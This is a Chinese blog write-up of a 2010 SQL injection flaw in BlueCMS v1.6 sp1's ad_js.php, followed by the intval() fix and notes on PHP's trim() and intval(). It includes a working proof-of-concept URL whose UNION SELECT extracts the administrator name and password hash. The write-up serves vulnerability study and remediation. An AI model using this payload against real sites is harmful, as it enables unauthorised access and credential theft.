一千零一夜 第1夜 BlueCMS v1.6 sp1 ad_js.php SQL注入漏洞

漏洞信息

下面的漏洞信息表格引用自https://wooyun.shuimugan.com/.

类型 内容
编号 141
漏洞标题 BlueCMS v1.6 sp1 ad_js.php SQL注入漏洞
漏洞类型 [SQL注射漏洞]
厂商 [BlueCMS]
白帽子 CnCxzSec(衰仔)
提交日期 2010-07-30 19:49:00
公开日期 2010-07-30 21:52:00
Confirm Spend -1
漏洞标签 php+数字类型注射 注射技巧 BlueCMS
漏洞简介 BlueCMS v1.6 sp1 某页面SQL注入漏洞

漏洞成因

缺陷文件:ad_js.php

第12行: $ad_id = !empty($_GET['ad_id']) ? trim($_GET['ad_id']) : ''; 根目录下其他他文件都做了很好的过滤,对数字型变量几乎都用了intval()做限制,唯独漏了这个文件,居然只是用了trim()去除头尾空格。

第19行: $ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id); //直接代入查询。。汗。 |

验证漏洞

单引号判断法


BlueCMS v1.6 sp1 ad_js.php SQL注入漏

验证POC

POC : view-source:http://localhost/cms/ad_js.php?ad_id=1%20and%201=2%20union%20select%201,2,3,4,5,concat(admin_name,0x7C0D0A,pwd),concat(admin_name,0x7C0D0A,pwd)%20from%20blue_admin%20where%20admin_id=1

访问POC链接

漏洞修复

trim()函数修改为intval()函数,如下:

$ad_id = !empty($_GET['ad_id']) ? intval($_GET['ad_id']) : '';

重新访问POC测试效果

修复.png

笔记:

1.trim( )函数:移除字符串两侧的空白字符或其他预定义字符

语法

trim(string,charlist)

参数 描述
string 必需。规定要检查的字符串。
charlist 可选。规定从字符串中删除哪些字符。如果被省略,则移除以下所有字符
  • "\0" - NULL
  • "\t" - 制表符
  • "\n" - 换行
  • "\x0B" - 垂直制表符
  • "\r" - 回车
  • " " - 空格
  1. intval()函数:获取变量的整数值

语法

intval ( mixed $var [, int $base = 10 ] )

通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。

参数 描述
var 要转换成 integer 的数量值
base 转化所使用的进制。

Note:

如果 base 是 0,通过检测 var 的格式来决定使用的进制:

  • 如果字符串包括了 "0x" (或 "0X") 的前缀,使用 16 进制 (hex);否则,
  • 如果字符串以 "0" 开始,使用 8 进制(octal);否则,
  • 将使用 10 进制 (decimal)。
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • 第三章 基本概念 3.1 语法 ECMAScript标识符一般采用驼峰大小写格式,也就是第一个字母小写,剩下的每个...
    小雄子阅读 588评论 0 1
  • PHP常用函数大全 usleep() 函数延迟代码执行若干微秒。 unpack() 函数从二进制字符串对数据进行解...
    上街买菜丶迷倒老太阅读 1,390评论 0 20
  • php usleep() 函数延迟代码执行若干微秒。 unpack() 函数从二进制字符串对数据进行解包。 uni...
    思梦PHP阅读 2,027评论 1 24
  • 零基础初学者,临摹大师作品。 辉柏嘉水溶性彩铅………
    喵酱_me阅读 751评论 5 1
  • 准高三啦!所以忙到吐血(:3_ヽ)_ 今天,是值得纪念滴一天!因为我今天受到了这样一张图 在很久很久以前(多久了我...
    流星雨lxy阅读 844评论 1 1